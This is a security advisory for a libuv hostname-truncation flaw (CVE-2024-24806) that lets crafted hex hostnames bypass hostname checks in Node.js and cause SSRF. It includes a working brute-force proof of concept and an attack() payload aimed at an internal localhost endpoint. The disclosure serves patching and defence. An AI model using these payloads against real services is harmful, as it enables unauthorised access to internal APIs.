Skip to content

Improper Domain Lookup that potentially leads to SSRF attacks

High
santigimeno published GHSA-f74f-cvh7-c6q6 Feb 7, 2024

Package

No package listed

Affected versions

>= v1.24.0

Patched versions

v1.48.0

Description

Summary

The uv_getaddrinfo function in src/unix/getaddrinfo.c (and its windows counterpart src/win/getaddrinfo.c), truncates hostnames to 256 characters before calling getaddrinfo. This behavior can be exploited to create addresses like 0x00007f000001, which are considered valid by getaddrinfo and could allow an attacker to craft payloads that resolve to unintended IP addresses, bypassing developer checks.

Details

The vulnerability arises due to how the hostname_ascii variable (with a length of 256 bytes) is handled in uv_getaddrinfo and subsequently in uv__idna_toascii. When the hostname exceeds 256 characters, it gets truncated without a terminating null byte. Depending on the build and runtime environment, it can lead to different exploitation scenarios:

  1. For example In some nodejs builds, like the one distributed with Kali Linux, the next byte in memory happens to be a null byte, making the truncated hostname valid.
  2. In other builds, the last byte of the hostname is a random value (0-256) but identical in successive calls, and the subsequent byte is a null byte. This situation can be exploited through brute force, especially in production environments where many Node.js instances run in parallel (pm2, kubernetes, etc).
  3. Since the last byte is random, there are cases where it's one of 0-9a-f, which makes 16 possible cases (out of 256) useful for calling localhost (127.0.0.x) and potentially bypassing security measures on internal APIs. The same is true for calling other IP-ranges.

PoC

// nodejs reproduction code:
const dns = require('dns');
async function run(ip, exactIP) {
  let hexIP = ip.split('.').map(x => (+x).toString(16).padStart(2, '0')).join('');
  if (!exactIP) {
    hexIP = hexIP.substring(0, hexIP.length - 1);
  }

  const payload = `0x${'0'.repeat(256-hexIP.length-2)}${hexIP}.example.com`;
  dns.lookup(payload, (err, addr) => {
    if (err); // not successful
    else if (addr === ip) console.log('*', addr);
    else console.log(' ', addr); // resolved to a shifted ip-address
  });
}

if (process.argv[2]) {
  run ('4.2.2.4', true) // exact match, less probable (P=1/256), for kali-like builds works perfectly
  // run('127.0.0.1', false); // any 127.0.0.x, higher probability (P=1/32)
} else {
  const cp = require('child_process')
  for (let i=0; i<1024; ++i) {
    cp.spawn('node', [process.argv[1], 'x'], { stdio: 'inherit' });
  }
}

Impact

  1. Access to Internal APIs:
    The following code, when deployed in an environment with multiple pods (e.g., Kubernetes), is vulnerable to the attack described above, potentially allowing unauthorized access to internal APIs.

    const axios = require('axios');
    const express = require('express');
    
    const app = express();
    app.get('/', async (req, res) => {
        const url = req.query?.url || '';
        if (new URL(url).hostname.endsWith('.example.com')) {
          try {
            const { data } = await axios.get(url, { timeout: 3000 });
            res.send(data);
          } catch(e) {
            res.status(400).send('error');
          }
        } else {
          res.status(400).send('Invalid url');
        }
    });
    app.listen(80);
    
    // internal endpoint available only to local IPs 
    // (in reality deployed inside another service)
    const internalApp = express();
    internalApp.get('/secret', (req, res) => {
      res.send('the secret panel');
    });
    internalApp.listen(3000);
    
    // pm2 start s1.js -i 128
    function attack() {
      for (let i=0; i<128; i++) {
        const payload = '0x' + '0'.repeat(246) + '7f000001';
        fetch(`http://localhost?url=http://${payload}.example.com:3000/secret`)
          .then(x => x.text())
          .then(console.log);
      }
    }
  2. SSRF Attack:
    Another scenario involves websites (similar to MySpace) that allows users to have username.example.com pages. Internal services that crawl or cache these user pages can be exposed to SSRF attacks if a malicious user chooses a long vulnerable username.

Severity

High

CVE ID

CVE-2024-24806

Weaknesses

No CWEs

Credits